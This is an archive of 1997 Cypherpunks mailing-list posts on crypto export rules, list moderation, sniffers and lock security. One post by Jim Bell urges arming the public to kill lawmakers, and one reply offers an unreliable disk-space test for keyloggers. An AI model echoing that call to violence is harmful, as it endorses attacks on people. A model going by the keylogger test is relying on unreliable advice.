In anticipation of what MFAT would say, I wrote a letter to the NBR editor
(which won the "Letter of the Week" award :-) which refuted their claims.  The
letter ended with:
 
  It appears that MFAT's position is based on an antiquated outlook which
  regards software to secure electronic commerce as some form of special
  military technology, a position which might have been reasonable a few
  decades ago but is totally out of touch with the modern use of computers and
  electronic communications.  In their October 1996 "Business File", MFAT claim
  that "New Zealand... is helping to limit the spread of increasingly
  sophisticated military technology and weapons of mass destruction".  Whether
  mass-market commercial software which protects financial transactions and
  medical records counts as "sophisticated military technology" or "weapons of
  mass destruction" is unclear (I suppose it's possible to beat someone to
  death with a floppy disk if you were very determined, but that hardly
  qualifies as "mass destruction").
 
  Finally, one of the goals of the Wassenaar agreement was to "not impede bona
  fide civil transactions", which MFAT have certainly done, and are continuing
  to do.  In the meantime anyone with a credit card and phone, or the ability
  to walk into a software store, can buy the same software overseas.  Stopping
  New Zealand companies from exporting widely available mass-market computer
  software of this kind "because terrorists might use it" makes about as much
  sense as stopping farmers from exporting beef and lamb "because terrorists
  might eat it".
 
  The issue of Management Technology Briefing included with last weeks NBR
  reports on page 22 that there will be "a US$186 billion market in global
  transactions by the year 2000", along with a comment that securing these
  transactions - one of the goals cryptlib was designed for - remains a problem
  area.  Within the next few years the push towards electronic commerce will
  become a veritable steamroller.  By needlessly blocking the export of the
  technology required to secure this market, MFAT is helping ensure that New
  Zealand becomes part of the roadkill.
 
MFAT's parting shot was:
 
  "People trying to export encryption without clearance can be prosecuted under
   the Customs and Excise Act".
 
I should certainly hope so!  It's going to be difficult creating a test case to
get this nonsense thrown out if they refuse to prosecute me.
 
Stay tuned, this is going to get entertaining...
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wlkngowl@unix.asb.com (Rob)
Date: Sat, 1 Feb 1997 22:12:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: NOISE.SYS Home Page
Message-ID: <199702020635.BAA07796@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain




I now have an under-construction home page for NOISE.SYS, in case
you're interested:

  http://www.asb.com/usr/wlkngowl/software.htm#noise

(NOISE.SYS is a crypto-RNG device for DOS boxes.)

Rob


-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sun, 2 Feb 1997 04:02:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: IRS Can't Compete
Message-ID: <3.0.1.32.19970202070316.0183023c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Note proof that government agencies are running up against serious problems
competing with market actors even though they have the guns.  

- From today's NYT:
February 1, 1997
Leaders of I.R.S. Panel Urge Sweeping Overhaul of Agency

By DAVID CAY JOHNSTON

The IRS had publicly defended its management of computer modernization until Thursday, when Arthur A. Gross, who was hired last year as an assistant commissioner of the agency to rescue the effort, told the restructuring commission that the new systems being developed "do not work in the real world."

Gross also said the IRS lacked the "intellectual capital" to modernize.

["intellectual capital" = brains]

Kerrey said that although the modernization project was bigger than any corporate computer system the government would have a hard time hiring the necessary talent to manage the project. "The market is bidding up the price for people who have these skills, and we just can't dole out big salaries," he said.

Executives who oversee information systems make as much as $378,000 in salary and bonuses, according to William M. Mercer, the nation's largest pay consulting firm. That is more than twice the highest federal salary and bonus, and corporate information executives typically also get options and other incentive payments.

******************

Translation - since the Feds can't afford to pay CIOs what they're worth, and
governments don't offer stock options, they can't get the talent they need
to keep up with the market.  We are talking about senior management here.
If they try and respond by contracting senior management out, eventually the
institution disappears as a government institution.  

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMvSCgYVO4r4sgSPhAQHhYAP+N80RhT0efc2seO+P99WLVYMJ8/1Q1R7e
CkLY8guJw2PnuQlaGG3lj14mYvTPMitZFsQ4pFnkSzzyF57QN4nXPbXajkNeWao+
Kcr2T3TJa5gZcGv309/I7FbZp2MfaugEjyNoielY12q9qsyuJyCv1l4Uh1L/tq9c
wEKoLyMoh5U=
=orfk
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 3 Feb 1997 10:04:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Security Question
Message-ID: <854982969.56802.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > > On the other hand, if the "repairman" replaced your pgp executable
> > > with version 2.6.3kgb, which uses your hashed passphrase as the
> > > session key, you're hosed.  Or if he installed a keystroke sniffer,
> > > or added a small radio transmitter to your keyboard, or whatever.
> > > Depends on your threat model.  If you need to be paranoid,
> > > they've already gotten you....
> > 
> > If you're really paranoid, you can boot from a clean floppy and
> > reinstall everything from your backup tapes. You do have a
> > contingency plan in case your hard disk goes bad, or gets a
> > virus, don't you? Well, if you're in doubt, exercise it.

Face it, the only solution is to wrap your computer, cat, family, car 
and yourself in aluminium foil and burn your hard disk whilst 
chanting "yamma yamma yamma yaaaaamaa"


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 2 Feb 1997 07:11:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Security Question
In-Reply-To: <199702020557.XAA17186@manifold.algebra.com>
Message-ID: <VB7H2D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Bill Stewart <stewarts@ix.netcom.com> writes:
> > > On the other hand, if the "repairman" replaced your pgp executable
> > > with version 2.6.3kgb, which uses your hashed passphrase as the
> > > session key, you're hosed.  Or if he installed a keystroke sniffer,
> > > or added a small radio transmitter to your keyboard, or whatever.
> > > Depends on your threat model.  If you need to be paranoid,
> > > they've already gotten you....
> >
> > If you're really paranoid, you can boot from a clean floppy and
> > reinstall everything from your backup tapes. You do have a
> > contingency plan in case your hard disk goes bad, or gets a
> > virus, don't you? Well, if you're in doubt, exercise it.
>
> And what if the repairman replaces BIOS ROM chips with KGBios?

On some computers it's possible to add executable code to the boot
sequence without replacing the actual ROM chip because they're
rewritiable. Examples: most Sun boxes; intel motherboards with
'flash bios'.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 2 Feb 1997 07:24:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cyphernomicon by Tim May
In-Reply-To: <32F428CD.AB9@gte.net>
Message-ID: <gJ8H2D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:
> I ask you again to look at the motives of the people involved.  John
> Gilmore isn't about to waste a second of his personal time "moderating"
> this list (who could blame him?), and I can't for the life of me see
> a reason why Sandy would want to devote so much time to it.  Have you
> or anyone seen a real reason why Sandy would want to do this?

You know one reason: Sandy makes sure that submissions critical of
his employer don't appear on *either* the censored or the flames
list (but result in lawyer letters). There probably are other reasons.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Sun, 2 Feb 1997 10:15:27 -0800 (PST)
To: Scott <scott-b@ix.netcom.com>
Subject: Re: Keystroke sniffer question
In-Reply-To: <2.2.32.19970202043909.006c8dd0@popd.ix.netcom.com>
Message-ID: <Pine.3.89.9702021014.A2250-0100000@netcom3>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 1 Feb 1997, Scott wrote:

> How can you detect if there is a keystroke sniffer on your computer.
> 
All sniffers have to write to disk at some point.  You can detect one by 
checking to see how much disk space you have (DIR on MSDOS), typing a few 
lines of random characters, and check your disk space again.  If it's 
gone down a little, then you probably have one.

> Is there a file name to look for?

Try checking in your TEMP directory...the few ones that I've seen default 
to creating an invisible file in that directory.
 
> Where do people get them?

They either buy them or write them.




Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@homer.sonetis.com>
Date: Sun, 2 Feb 1997 07:30:12 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: Trigger-Words...
Message-ID: <199702021530.KAA01205@homer.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 29 Jan 1997, harka@nycmetro.com queried:

> Actually, I might not have chosen the correct words for what I
> wanted...
> I am looking for sniffer-programs, that analyze e-mail traffic on
> the Net and filtering out all e-mails potentially interesting for
> _intelligence services_. For example, I've heard, that if an e-mail
> contains the words: "assassinate President" (DISCLAIMER: I hope, our
> President lives a long and happy life, even after his
> impeachment...:)), it will automatically get filtered and checked
> out by the Secret Service.
> Different intelligence agencies might have similar things in place.
> Where could I get some more information about that?

Many Un*xes (SunOS, Solaris, IRIX, Linux, and probably others) have
included their own versions of sniffers, supposedly for network
debugging. These are typically called something like "tcpdump",
"etherfind", "snoop", etc.

You would need to run a sniffer at a "choke point" of an
organisation, for example the external router to the Internet, to
capture all of the packets to / from that organisation.  Putting a
sniffer on some arbitrary router out there in cloud-land would
probably not be all that productive, since there's no guarantee that
all of the IP packets carrying a given TCP connection would take the
same route. 

Cynthia

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: cp850

iQCVAwUBMvSyq5Og7xGCJGQtAQFJPwQAiXbxtfdfVEDL5ZHdktdy6bfH/Wmio3oU
J1bYKpfwY4H4NnIoXipGF+oo48Pe4j8x46UneVZ8d4ZsSy93/JsvmQw38TxSj/8o
cPbtIaagBw9eofsdimzlwx9Y0VvaTRWt+2Cjd8aQKmG5nwUBSF9BlFoX2/TU3QZY
IP+hiecLaag=
=rHlB
-----END PGP SIGNATURE-----
===============================================================
Cynthia H. Brown
Ottawa, Ontario, Canada
E-mail:     cynthb@sonetis.com
Home Page:  http://www.sonetis.com/~cynthb/
PGP Key:    See Home Page

Junk mail will be ignored in the order in which it is received.

  It is morally as bad not to care whether a thing
  is true or not, so long as it makes you feel
  good, as it is not to care how you got your money
  as long as you have got it.

        - Edmund Way Teale, "Circle of the Seasons"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Sun, 2 Feb 1997 15:18:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Secret" Postal Device stolen
In-Reply-To: <199702020226.SAA04649@toad.com>
Message-ID: <970202.103614.3s2.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, toto@sk.sympatico.ca writes:

>> >>>Postal Service offers $25,000 reward for stolen . . . something

>   Mail carriers in some areas carry keys for buildings with security
> doors (sometimes Master keys).

In Minneapolis and Anchorage (the two cities of which I have knowledge)
mail carriers have a key that opens not only apartment-style mailboxes,
but little boxes on the outside of apartment buildings that hold a key
to the building's lobby.  Snag one of those keys and a large portion of
the city opens its doors to you.  (some buildings have further locked
doors beyond the mailbox lobby to counter this threat)
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvTEUxvikii9febJAQEMEwP+Ji/B1z7uYSJspTij6xH2jUn/JMXmJ7RF
drUZruHZNxQv3xGHOPbf4nerDqANgYe/6DzZdrNRhP5RgYTPZp4K1gHDRLhyKAZL
EriifeqlXe9X69EDCXSJr8nVSEP1XlSoI2cc9nMFyG42Mwg0Do52WdvhBbZtiM8I
zKo9v+3VOqg=
=O4dL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sun, 2 Feb 1997 08:00:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
In-Reply-To: <199702021011.CAA16505@toad.com>
Message-ID: <199702021542.KAA27029@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain



Someone using the Huge Cajones mailer wrote:

   David Lesher <wb8foz@nrk.com> writes:

   > USPS uses key locks seemingly designed by Ben Franklin himself.
   > Look at them someday. FedEx boxes used to have Simplex 926
   > 5 pushbutton ""locks"" if you stretch the point.

Still did last I checked.

   Don't let the old-fashioned look deceive you.  Most mail storage boxes
   use lever tumbler locks (similar to what's used in safe deposit
   vaults, though obviously the mailbox locks have a flimsier plug).

How is that obvious?  Safe deposit locks generally aren't designed to
be hard to open, just hard to open without damage.  There's always
either a guard or a locked vault door protecting the locks.
Mailboxes, on the other hand, generally aren't kept under guard or in
vaults.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 2 Feb 1997 10:48:29 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702021847.KAA17527@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:56 AM 2/2/97 -0500, Black Unicorn wrote:

>Please note that the difference between:
>
>"But he got the same sentence as he would have if he was convicted of 
>carrying a gun in furtherance of the crime."
>
>and
>
>"But he got the same sentence as he would have is he was not convicted of
>carrying a gun in furtherance of the crime."
>
>is subtle at best.
>
>Next time don't get caught stealing with a gun nearby.


Better yet, set up a system to encourage the public to USE those guns (and 
other weapons) to get rid of the people who pass such laws, and the problem 
is solved.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mch@squirrel.com (Mark Henderson)
Date: Sun, 2 Feb 1997 12:37:56 -0800 (PST)
To: lwjohnson@grill.sk.ca (Larry Johnson)
Subject: Re: PGP 2.1
In-Reply-To: <199702021025.CAA16822@toad.com>
Message-ID: <Mutt.19970202123812.mch@ratatosk.squirrel.com>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3951.1071713685.multipart/signed"

--Boundary..3951.1071713685.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Larry Johnson writes:
> Hello,
> Can any;one tell me how to get a version of PGP 2.1?
> Thanks
> 

If you are a U.S./Canadian person in the U.S. or Canada you can get 2.1
and most of the release versions of PGP from 
ftp://ftp.wimsey.com/pub/crypto

Easiest thing is to point your web browser to 
ftp://ftp.wimsey.bc.ca/pub/crypto/software/README.html

Then after reading and agreeing to the conditions, click in the
appropriate place and descend into the PGP directory.

But, why do you want version 2.1?

-- 
Mark Henderson -- mch@squirrel.com, henderso@netcom.com, markh@wimsey.bc.ca
PGP key 1024/B2667EFF - 5A 93 7D 29 EB 63 84 09  EA A2 AA 6C FA C5 A6 21
unstrip for Solaris, Wimsey crypto archive, TECO, computer security links,
change-sun-hostid, Sun NVRAM/hostid FAQ - http://www.squirrel.com/squirrel/


--Boundary..3951.1071713685.multipart/signed
Content-Type: application/octet-stream; name="pgp00000.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00000.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogMi42LjMK
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VHVwSW9JVnNSZVpiWUpkdTJXUGx1WHNVVFErb1RPd0VITk9EODMxdApUWHNx
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R1AgU0lHTkFUVVJFLS0tLS0K
--Boundary..3951.1071713685.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 2 Feb 1997 10:55:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: National Cryptologic School
Message-ID: <1.5.4.32.19970202184922.006cda74@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


DAW provided this URL:

   http://csrc.nist.gov/training/in170.zip

   1996-04-29 Introduction to Computer Security
   National Cryptologic School
   Interactive Courseware Trainee Guide
   (formerly, CP-133) (37 zipped files, DOS program) 

We've had a look at this course, a primer on CompSec
and a required course for all DoD employees. It takes 
some fiddling to get past the sign-on block. Hint: after
unzipping execute "student.exe" and enter "CP" as the 
lesson. Repeat for other listed files, CPxxx - CPxxx.

It's basic stuff but worthwhile for its claims, these among 
others:

1. Most hackers are employees of the target.

2. Negligence, accidents and sloppy sys-administration are 
prime causes of disruptions, perhaps more than deliberate 
attacks.

3. Environmental weaknesses are often overlooked by
security experts too focussed on computer systems.

It lists these security documents as references:

   EO 12356 [superceded by EO 12958]
   DCID 1/16 [Director of Central Intelligence Directive]
   DoDDir 5200.28
   DoD 5200.28 STD
   Public Law 100-235
   NSA/CSS Dir 10-27
   NSA/CSS Manual 130-1 (NSAM 130-1)
   NSA/CSS Manual 130-2 (NSAM 130-2)
   NSA/CSS Reg 130-2
   NTISSAM COMPSEC 1-87
   The Rainbow Series
   OMB A-130

Does anyone know of a source for the DCID series and the
NSA/CSS series? Some of the others are available on the Web 
-- see AltaVista.

While looking for these we ran across an informative implementation 
of infosec and compsec:

   Information Systems Accreditation Document, 4 Volumes

   System Security Requirements for the
   Department of Defense Intelligence Information System

   Automated Message Handling System (AMHS) V2.x

   By:   McDonnell Douglas Aerospace
   For:   Electronic Systems Center,  Air Force Materiel Command

Which we've put at:

   http://jya.com/amhs.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sun, 2 Feb 1997 14:42:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: My Departure, Moderation, and "Ownership of the List"
Message-ID: <v03007800af1ab0e7d67e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



A couple of people have sent me pinging messages, asking about my status on
the Cypherpunks list....apparently it has taken several weeks for folks to
notice my absence! :-}  This may speak volumes about why I have left the
list, and what the list has become.....

I chose not to write a "departing flame" (or message, but some might call
it a flame) when I unsubscribed several weeks ago--within an hour of
reading that John and Sandy had decided to make "their" list a moderated
list, by the way--as I saw little benefit. I was also fed up with things,
and saw no point in wasting even more of my time arguing against the New
Cypherpunks World Order, as the NCWO was clearly presented as a fait
accompli, not something ablut which opinions of list members (or even list
_founders_, at least not me) were being sought. It's my nature to just say
"Fuck it" and leave when I feel I have overstayed my time, or things are no
longer fun, or I am made to feel unwelcome.

But since several people have pinged me, asking about my status, I'll take
some time to say a few things. I've had access to the hks.net archive site,
and/or the Singapore site, to occasionally see what was being said on the
list (old habits die slowly, so I sometimes drop in to see what you people
are flaming each other about...not surprisingly--in fact utterly
predictably--I see vast amounts of bandwidth consumed by arguments about
moderation, about the putative biases of the Moderator and Director of the
New Cypherpunks World Order, about alternative moderation strategies (which
is stupid, as John and Sandy announced what they were going to do, not just
some of their preliminary thoughts), and so on. I've also noticed fewer
substantive essays. With no false modesty I tried awfully hard to compose
substantive essays on crypto-political topics, often more than one per day.
(Others did too, but they seem to be tapering off as well, leaving the list
to be dominated by something called a "Toto," the "O.J. was framed!"
ravings of Dale Thorn, the love letters between Vulis and someone name
Nurdane Oksas, and the occasional bit of crypto news. Ho hum. I'm glad I'm
not reading the list in e-mail, and thus can easily avoid replying to these
inanities...which would probably not be approved for reading by Sandy, so
why bother anyway?)


Rather than compose a traditional essay, I'll take the  easy way out and
list some bulleted points.

* First, I don't argue that John Gilmore is unfree to do as he wishes with
his machine, toad, which has been the major machine host for the
Cypherpunks list. John can tell us we have to write in Pig Latin if he
wishes. Much of the debate I saw in the archives was debate that missed the
point about what John could and couldn't do. No one can seriously question
the right of the owner of a machine, or the owner of a restaurant, etc., to
set the policies he wishes. The owner of a restaurant is perfectly free--or
used to be, and still is to anyone with even slightly libertarian or
freedom tendencies--to set the rules of his "house." He may insist that
shirts and shoes be worn, or that smoking is not allowed (or even is
required, in theory), etc. He may say "All those eating in my restaurant
must wear funny hats and have their costumes approved by Sandy Sandfort."
This is unexceptionable.

* However, anyone who disputes these rules (disputes in the sense of
disliking or disagreeing with them, not legally challenging them) is free
to leave. Those who don't like crowded, noisy, smoke-filled sports bars are
encourgaged to leave. And so on. Again, unexceptionable.

(The more complicated case of contracts, verbal or written, and "changing
the rules," does not apply here. No one had a contract with John, or Sandy,
or Hugh, etc., so this is not germane.)

* But the really important issue is this: is the _physical hosting_ of the
Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list
was hosted by, say, UC Berkeley or PGP Incorporated, would we consider
these hosts to be the "owners" of the Cypherpunks group? Would we think
that a corporate host, say, would have the authority to direct what we
could say on the list? (Again, not disputing their corporate property
rights...as a libertarian, I cannot. Other issues are what I'm getting at.)

* If a Boy Scout troop meets at a local church, and has for several years,
continuously, would we consider the church to be the owner of the troop?
Could the church insist on avoidance of certain "cuss words" and demand
that prayers be said before each gathering? Certainly the church could tell
the troop what policies were to be followed if the the facilities were to
be used, etc., and the troop could leave if it didn't like the terms (or,
in parallel with my situation, any troop member could choose to leave....).
This is what we mean by "property rights": the legal right of a property
owner to do with his property as he wishes, modulo prior contractual
relationships, criminal laws, etc.

* How did the mailing list for the group, now called Cypherpunks, get
started, and how did it end up being run off of John's hardare? Hugh Daniel
got the actual mailing list rolling, based on a discussion Eric Hughes,
Hugh, and I had the day after the first physical meeting, in September
1992. We thought the group we had just spent the day with ought to be able
to stay in touch, and that a mailing list was the right way to go. There
was talk of siting it on the UC Berkeley computers (actually, the
Undergraduate Association computers, a la the Cypherpunks archive site at
"csua"), but Hugh thought he might be able to use "toad," and this is what
happened. (I have not heard from Hugh on his views of this New and
Moderated Non-Anarchic List.)

* I think we should all be very grateful to John for agreeing to let it run
on his hardware, but not let our gratitude turn into some sort of
subservience and blather about how John "owns" the Cypherpunks group.

* Again, is the "Cyherpunks community" the same as the mailing list? And is
the mailing list, hosted at toad, the "property" of John Gilmore?

* In my view, neither John nor Sandy in any sense "own" our group. It is a
virtual community which sometimes has physical meetings at various places
(including corporations, restaurants, and bookstores, none of which are
even partial "owners" of the group) and which has had several
instantiations on the Net, including sub-lists not connected to toad.com in
any way. While John is of course free at any time to suspend his hosting of
the list, I think it a serious misapprehension of the basic nature of
virtual communities to accept the claim that John should decide on what is
appropriate to bear the "Cypherpunks" list imprimatur and what is to be
consigned to the flame list.

* The mechanics of the announcement troubled me greatly. To be blunt, I was
seething with anger. I was mightily annoyed to read that John had made a
decision to appoint Sandy as his Moderator, with no discussion on the list.
I don't know if Eric Hughes and Hugh Daniel were asked their opinions, but
I certainly know I was not. I feel that as one of the two or three
founders, depending on how one is counting, and as a frequent contributor
to the list since its inception, and so on, I (and others) should at least
have been told of this plan. Better yet, have the plans discussed on the
list, as some good ideas may have been generated.

I'll have more to say about my problems with how things were handled.
Frankly, it smacked of the same kind of fait accompli decision John made
with the unsubscribing of Vulis. While John had (and has) every legal right
to do with his property as he wished, the effect was very negative. First,
Vulis found other ways to post (duh). Second, the list was consumed with
flames about this, many from Vulis, and many from others. Third,
journalists (who love sizzle over substance any day of the week) lept into
the fray with articles which gave Vulis the publicity he craved. Fourth, it
sent a message to enemies of liberty that "Even the Cypherpunks have found
it necessary to abandon their anarchic ways."

(I'm well aware of the issues with pests like Vulis, who seek to destroy
virtual communities like ours. But the solution John used did not work, and
generated more crap. As you all should know, it was John himself who coined
the wonderful saying, "The Net interprets censorship as damage and routes
around it." A delicious irony.)

* In the archives, I did see a bunch of "I support Sandy" and "John is our
leader" comments from reasonable people. The obvious noise of Vulis and his
cohorts like Aga made a "Do something!" attitude somewhat understandable. I
don't think the decision made was a wise one, and I strongly doubt it will
work to make the list a better one.

* The proper solution to bad speech is more speech, not censorship.
Censorship just makes opponents of "speech anarchy" happy--it affirms their
basic belief that censors are needed.

* "Censorship" is another overloaded term. I don't think the "Definition 1"
of dictionary definitions, about _governmental_ restrictions, is the only
meaningful definition. Everybody knows what it meant when we say that
"Lockheed is censoring the views of employees," even though we know
Lockheed is not using government power. A censor is one who censors. And
even my "American Heritage Dictionary" gives this as its "definition 1":

"censor n. 1. A person authorized to examine books, films, or other
material and to remove or suppress morally, politically, or otherwise
objectionable."

(Other dictionaries of course give similar definitions. The notion that
censors are confined to being government employees is a misconception.)

* OK, even given that John had decided to censor "his" list, what about his
choice of Sandy Sandfort as the censor? I've known Sandy for several years
(I was the one who invited him to the second Cypherpunks meeting), but he's
a poor choice as a censor, moderator, whatever. First, because he has so
often gotten involved in protracted flame wars, such as with Vulis
(remember the dozens of messages about the "bet" to bring Vulis out? I
stayed out of the charade completely.), with Hallam-Baker, and with others.
Second, because he has not been actively composing essays for a while,
perhaps because of his job with Community Connexion. Other reasons, too.

(I count Sandy as a friend, but I'm just being honest here. Sandy is just
not a "Peter Neumann" (moderator of the "RISKS" list).

* Nor do the announced criteria make any sense. While the inane one-line
scatological insults have been filtered out, many "flames" make it through,
based on what I've seen in perusing the hks archive site. And some
reasonable comments get dumped in the flame bucket.

* As expected, those who only want to talk about cryptography (but who
rarely do, themselves, also as expected) waste bandwidth saying the
"anarchist" and "libertarian" stuff ought to go in to the "rejected" list.
More bandwidth wasted, as each group lobbies to have its ideological
opponents censored by Sandy.

* I would have had no problem had John announced that he was creating a new
list, the "Good Stuff" list, with Sandy has his Chooser of Good Stuff.
After all, both Eric Blossom and Ray Arachelian already offer just such
lists, and more would not hurt.

But by making the _main list_ the censored one, this skewed things
considerably.

* (Frankly, one of my considerations in leaving was the feeling that I
would never know if an essay I'd spent hours composing would be rejected by
Sandy for whatever reasons....maybe he might think my essay was off-topic,
or used one of the Seven Deadly Words, or was "too flamish." Whatever. I
realized that life is too short to have Sandy Sandfort deciding whether my
essays should go out to the main list (which is really just a list like
Eric Blossom's best-of list, except it is be edict now the main list) or be
dumped into the flames list, to be read by a handful of people.)

* Why, many reasonable people may ask, did I not simply unsubscribe from
the "Cypherpunks" list and subscribe to the "Cypherpunks-Unedited) (or
whatever it is called) list? Because of my overall anger with the issues
raised above. The imperiousness of the decision, the notion of favoring
Sandy's tastes in a more "first class" way than, say, the tastes of Eric
Blossom, Ray Arachelian, or, for that matter, me.  "Some censors are more
equal than others."

* The decision to "moderate" (censor) the Cypherpunks list is powerful
ammunition to give to our opponents, and Vulis is certainly gleeful that
his fondest wishes have been realized. And it won't work. People are
consuming even more bandwidth arguing the merits of John's decision, the
traffic is presumably being slowed down by the need for Sandy to wade
through the traffic and stamp "Approved" or "Rejected" on what he glances
at, and people are "testing the limits" of what they can say and what they
can't say.

* It also sends a message that people are incapable of filtering out bad
speech, that they need a censor to do it for them. (Again, I have no
problem with competing "screeners," a la having Ray, Eric, or David
Sternlight filtering what they think is OK and what is not. Let a thousand
filtering services bloom.) But the clear message by having Sandy censor the
main list (the default list, the list name with the main name, the list we
all know about, etc.) is that Cypherpunks need Big Brother to shelter them
from Bad Thoughts, from Naughty Words, from Evil Flames, and from Impure
Desires. Foo on that.

* Psychologists might point to random reinforcement, even to the effects of
terror. How many of us are likely to write controversial posts knowing that
Sandy might wake up having a "bad hair day" and thus reject our posts? How
many will begin to skew their opinions to match those of Sandy? (I would
venture a guess that a Duncan Frissell would almost certainly get a
libertarian rant past Sandy while a Phill Hallam-Baker might easily fail to
get a leftist rant past him.)

* Those who want "less noise" should subcontract with the filter services
of their own choosing. This is the "Cypherpunk Way." Having Sandy as the
censor is the easy way out.

* By the way, the moderated list "RISKS"  works pretty well. But it is not
a _discussion_ group. It is, rather, a digest of news items related to
computer and technology risks, with some discussion by various
contributors, and with a long turnaround time of a few issues per week,
tops. Peter Neumann also devotes a lot of time to making it run smoothly
and bases part of his professional career on running it. I surmise that
Sandy is not prepared to do the same. Nor would this be a good idea, as
this would kill the spirit of the debate.

* Had there been a debate about the policy, I can think of several
approaches I'd like better. But inasmuch as John made it clear that there
would be no debate (and, perhaps as part of the "problem," John has not
really been a active member of the mailing list, in terms of participating
in the debates), this is all moot.

In any case, my several years with the list have taken a huge amount of my
time. Given the way this whole thing was handled, and the way the list is
degenerating even further, it looks like it's good that I'm moving on to
other things.


* To summarize:

- the decision to censor the list was made without any discussion on the
list, without any discussion with at least some of the longterm core
contributors, and was presented as a "fait accompli."

- while John has every right to do with his hardware as he wishes, he does
not "own" the Cypherpunks group (though whether he owns the "list" is a
semantically debatable point)

- whatever our group once was, or still is, is not dependent on having a
particular mailing list running on someone's home machine...and it cannot
be claimed that any person "owns" the Cypherpunks group.

- there is some talk of creating another Cypherpunks list, on other
machines; I don't know whether or not this will fly, or if I'll devote any
time to such lists.

- the effect of censorship, such as I have seen it so far, is not producing
a better list. In fact, as I would have expected, it is producing a more
boring and sheltered list.


And so there you have it.

I had no plans to set down my views, feeling it was a waste of my time and
